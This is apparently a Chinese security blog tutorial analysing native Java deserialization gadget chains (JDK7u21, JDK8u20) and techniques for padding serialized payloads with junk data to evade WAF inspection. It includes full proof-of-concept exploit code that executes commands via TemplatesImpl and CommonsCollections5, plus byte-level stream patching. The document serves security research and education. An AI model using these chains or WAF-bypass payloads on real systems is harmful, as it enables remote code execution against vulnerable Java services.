JDK原生反序列化分析
前言
无论是CC
链子、Hessian
、Spring
等等链子,都依赖于pom.xml
中需要引入的第三方的依赖里面的类,但是有很多情况在没有第三方依赖的情况下,能够通过jdk
自带的类或方法完成反序列化也是非常必要的,以下文章对JDK
原生反序列化进行一些记录。
JDK7u21
利用分析
jdk7u21
链子的利用点是在代理类中。
- 整条链的核心类是在
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
中,AnnotationInvocationHandler
也是Java
各种链子中的老顾客了,顾名思义是用于处理动态代理的,负责拦截所有对代理对象方法的调用,当用代理类代理一个对象,调用该对象的任意方法,都会触发代理类中的invoke
方法。
首先是AnnotationInvocationHandler
构造方法,接收两个参数,分别是Annotation
的对象和Map
分别赋值给type
与memberValues
,equalsImpl
接收一个var1
变量,先判断变量是否属于type
类型,如若不是,进入到else
中,调用getMemberMethods()
方法,在getMemberMethods()
方法中可以看到它通过反射
的形式获取了type
中的所有方法返回,随后进入到了for
循环当中。
在for
循环当中,遍历获取到的所有Method
,从memberValues
中获取到对应的方法后,通过asOneOfUs
判断传入的var1
是否是否是代理类,如果不是就返回空,如果是则返回转换的AnnotationInvocationHandler
实例,如果返回到的var9
是空的,则通过invoke
触发获取到的相应方法。
到这里,可以看到出现了危险方法invoke
方法,这时候可以想一下,如果type
是一些恶意的接口或者类,比如说常用的templates
等,是否就可以获取templates
中的所有方法,随后通过invoke
触发里面的恶意方法完成反序列化的利用?
往上找,谁能够调用equalsImpl()
方法呢?在sun.reflect.annotation.AnnotationInvocationHandler#invoke
中调用了这个方法,这个invoke
类在spring
反序列化链子中曾被利用过,通过多层代理的形式完成了反序列化,原因是它能够通过传入key-value
的形式,通过控制key
从而控制返回方法的值,而invoke
恰巧又能通过代理触发。言归正传,此次的利用点在invoke
的前半段。
通过获取 方法的名字和变量的类型,当Method
方法名等于equals
并且接收的变量为1个,则会进入到euqalsImpl
方法冲,传入的参数为Object
数组中的第一个对象。
反序列化的链子,要引向的起点是readObject
方法,7u21
的链印象的是HashSet#readObject
方法,在readObject
方法中会调用 map.put()
方法将集合中的值和一个常数放进去。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length); //i也是一个哈希值
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { //关键
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
对key
进行哈希操作,将计算出来的值与表中获取到的值做比较,如果两个值是相等的但又不是一个对象,会调用equals
方法,如果这里的key
是一个代理对象,传入的k
是一个恶意的接口类或对象,那么就会触发AnnotationInvocationHandler#invoke()
从而串起整条链子。
还要解决的问题就是要满足哈希相等的问题,也就是代理对象的哈希要与恶意对象的哈希相等,看一下哈希的计算方法
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
整个哈希的计算方法,变动的地方是k^hashCode()
,因为恶意对象如templates
的hashCode()
是Native
修饰的,所以只能希望能控制代理对象的,当调用一个代理对象的hashCode
,必定会触发invoke()
方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
}
//省略
}
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
最终它来到的地方是hashCodeImpl
中,通过累加的形式返回结果,可以看以下解释。
最终只需要找到一个值的hashCode
为0的字符串,令value
等于TemplateImpl
对象,那么两个hash就相等了,通过爆破的形式跑一下,跑出来的第一个值就是yoserial
中的f5a5a608
poc
整个Gadgets
为:
HashSet#readObject()
LinkedHashMap#put(e, PRESENT)
Proxy#equals(k)
AnnotationInvocationHandler#invoke()
equalsImpl()
...
poc为:
package com.example.NativeDeserialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
public class jdk7 {
public static void main(String[] args) throws Exception {
byte[] bytes = getTemplates();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
String ZeroHashCode="f5a5a608";
HashMap hashMap=new HashMap();
hashMap.put(ZeroHashCode,"zero");
//通过代理的形式直接触发invoke
Class<?> annotationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> HandlerConstructor=annotationHandler.getDeclaredConstructor(Class.class, Map.class);
HandlerConstructor.setAccessible(true);
InvocationHandler handler= (InvocationHandler) HandlerConstructor.newInstance(Templates.class,hashMap);
Templates proxy= (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},handler);
HashSet hashSet=new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
hashMap.put(ZeroHashCode,templates);
serialize(hashSet);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
要注意的点是在HashSet.add
前,HashMap
.put要先放入其它的值,如果不这样会导致在HashMap.put
的时候就触发equals
方法,提前导致命令执行。
修复
在jdk7u21
后面的版本之中进行了修复,当检测到type不是AnnotationType
的情况下,抛出异常,导致无法正常反序列化。
脏数据污染序列化数据
从甲骨文的官方网站可以看到对反序列化协议的结构定义Java反序列化协议
根据官方文档定义,简单分析如下:
@Magic - 0xac ed //表示该字节流按照Java序列化格式进行编码
@Version - 0x00 05 //表示反序列化的版本为5,所以序列化流的开头总是/ac/ed/00/05
@Contents //数据流内容
TC_OBJECT - 0x73 //表示序列化的数据是一个对象
TC_CLASSDESC - 0x72 //对象的描述符合
@ClassName //类命
@Length - 22 - 0x00 16 //类名的长度,完整的,22个字符
@Value - com.example.test$test1 - 0x63 6f 6d 2e 65 78 61 6d 70 6c 65 2e 74 65 73 74 24 74 65 73 74 31 //类名的值
@SerialVersionUID - 510941963498758434 - 0x07 17 3b 02 3b 2f 21 22 //唯一的序列化ID
@Handler - 8257536 //处理程序的表示符合
@ClassDescFlags - SC_SERIALIZABLE - 0x02 //类描述符标志,表示该类是可序列化的。
@FieldCount - 2 - 0x00 02 //定义的字段的数量是2个
[]Fields
Index 0: //第一个字段
Integer - I - 0x49 //整型
@FieldName
@Length - 3 - 0x00 03 //字段名3个字符串
@Value - age - 0x61 67 65 //字段名为age,
Index 1:
Object - L - 0x4c //字段类型是对象,
@FieldName
@Length - 4 - 0x00 04
@Value - name - 0x6e 61 6d 65
@ClassName
TC_STRING - 0x74 //类型是String
@Handler - 8257537
@Length - 18 - 0x00 12 //字符串的长度
@Value - Ljava/lang/String; - 0x4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b //字符串的值,即 Ljava/lang/String;。
[]ClassAnnotations
TC_ENDBLOCKDATA - 0x78 //注解数据块的结束标识符
@SuperClassDesc //父类描述符
TC_NULL - 0x70 //表示序列化的类没有父类
@Handler - 8257538
[]ClassData //类的数据
@ClassName - com.example.test$test1 //类名
{}Attributes //字段的属性
age
(integer)10 - 0x00 00 00 0a
name
TC_STRING - 0x74
@Handler - 8257539
@Length - 5 - 0x00 05
@Value - Aiwin - 0x41 69 77 69 6e
当然,官方文档中的各种字段还有很多,这里只是举一个例子表明序列化的存在类似于XML的结构的,具体还要看官方文档
大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。
我们可以寻找一个可以序列化,同时能将我们的恶意数据和垃圾字符包含在一起的类
主要还是大部分的集合类可以满足我们的要求,比如
1. ArrayList
2. LinkedList
3. HashMap
4. LinkedHashMap
5. TreeMap
主要思路是构建集合,添加大量的垃圾字符,加入我们恶意的对象(在不影响正常反序列化的情况下),然后序列化生成,以cc5
为例:
package com.example.commoncollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections5_waf {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//BadAttributeValueExpException.readObject()->TiedMapEntry.toString()->LazpMap.get()->ChainedTransformer.transform()
// ->Invokertransform.transform()->Runtime.exec()
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决第三个问题
//解决Runtime无法被序列化的问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> Lazymap= LazyMap.decorate(map,chainedTransformer); //先设置为其它Transformer,使其put()方法不触发
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field valField=badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
ArrayList arrayList=new ArrayList();
String dirdata = "1";
for (int i = 1; i <= 10000; i++) {
dirdata += "1";
}
arrayList.add(dirdata);
arrayList.add(badAttributeValueExpException);
serialize(arrayList);
unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
可以看到,我们在ClassData
数据中塞入了很多没用的数据1
,但是又不影响我们的正常RCE
当然还有blockdata
脏数据与TC_RESET
脏字符填充:
BLOCKDATA
就是将脏输入填入到TC_BLOCKDATA
中,从而尝试绕过waf
可直接使用phith0n
的工具包:
package main
import (
"io/ioutil"
"log"
"strings"
"github.com/phith0n/zkar/serz"
)
func main() {
data, _ := ioutil.ReadFile("文件路径")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_BLOCKDATALONG,
BlockData: &serz.TCBlockData{
Data: []byte(strings.Repeat("a", 40000)),
},
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("fakedata_bin.ser", serialization.ToBytes(), 0o755)
}
java
在处理的时候会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。可以将数据塞入这个结构里面完成rce
。
package main
import (
"io/ioutil"
"log"
"strings"
"github.com/phith0n/zkar/serz"
)
func main() {
data, _ := ioutil.ReadFile("文件名")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("fakedata_bin.ser", serialization.ToBytes(), 0o755)
}
具体里面的函数代码,就不看了,这个绕过的核心就是在什么结构中填充脏字符串,但是又不影响正常反序列化,从而骗过waf
JDK8u20
关于成员抛弃机制:
在反序列化中,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值,但是如果这个值是一个对象的话,那么会为这个值分配一个 Handle。
因为7u21
的链子在初始化AnnotationInvocationHandler
的时候加了是否注解类型的判断,从而使得原本链子在序列化的时候会抛出异常,而jdk8u20
也是从异常为起点,在反序列化的过程中,会调用defaultReadFields
方法对数据流中的Fields
字段进行初始化,而HashSet
在反序列化过程中不存在Fields
,所以整条链的思路就是增加一个不存在Fields
字段这里是类BeanContextSupport
去抓AnnotationInvocationHandler
中的异常,并且在后续的反序列化中不报错,它会被正常反序列化,这样在用AnnotationInvocationHandler
的时候,直接进行替换。
看BeanContextSupport#readObject
,可以通过它来捕获并忽略异常,它通过readChildren
处理流,捕抓了异常但是没用抛出钟断程序的执行,从而能够进行异常检查的绕过。
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
synchronized(child) {
BeanContextChild bcc = null;
try {
bcc = (BeanContextChild)child;
} catch (ClassCastException cce) {
// do nothing;
}
if (bcc != null) {
try {
bcc.setBeanContext(getBeanContextPeer());
bcc.addPropertyChangeListener("beanContext", childPCL);
bcc.addVetoableChangeListener("beanContext", childVCL);
} catch (PropertyVetoException pve) {
continue;
}
}
childDeserializedHook(child, bscc);
}
}
}
feihong
师傅的payload:
package com.feihong.jre8u20;
import com.feihong.jre8u20.util.Gadgets;
import com.feihong.jre8u20.util.Reflections;
import com.feihong.jre8u20.util.Util;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
public class Jre8u20 {
public static void main(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl("calc");
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
LinkedHashSet set = new LinkedHashSet();
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);
Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);
set.add(bcs);
//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);
oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();
byte[] bytes = baous.toByteArray();
System.out.println("[+] Modify HashSet size from 1 to 3");
bytes[89] = 3; //修改hashset的长度(元素个数)
//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
bytes = Util.deleteAt(bytes, i + 5);
break;
}
}
//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
bytes[i+6] = 1;
break;
}
}
/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/
//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}
/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
bytes[i+12] == 112){
System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
i = i + 13;
bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}
//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
"SC_SERIALIZABLE | SC_WRITE_METHOD");
i = i + 58;
bytes[i] = 3;
break;
}
}
//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
System.out.println("[+] Add TC_BLOCKDATA at end");
bytes = Util.addAtLast(bytes, (byte) 0x78);
FileOutputStream fous = new FileOutputStream("jre8u20.ser");
fous.write(bytes);
//反序列化
FileInputStream fis = new FileInputStream("jre8u20.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}
在进行序列化的时候,向序列化流中读取了4
一个对象,通过修改序列化中的一些特殊的byte
,构造了一个我们想要的序列化流。在反序列化的时候,LinkedHashSet
读到的size
为3
,在反序列化第一个对象BeanContextSupport
的时候,会进入到BeanContextSupport
的readChildren
逻辑,成功将AnnotationInvocationHander
进行还原了(虽然在AnnotationInvocationHander
反序列化的时候会抛出异常,但是BeanContextSupport
捕获了异常)。LinkedHashSet
这三个元素的时候,会发生哈希碰撞,从而导致RCE
。
参考文章:jdk8u20原生反序列化
文章标题:JDK原生反序列化分析
文章链接:https://aiwin.fun/index.php/archives/4375/
最后编辑:2024 年 2 月 9 日 13:55 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)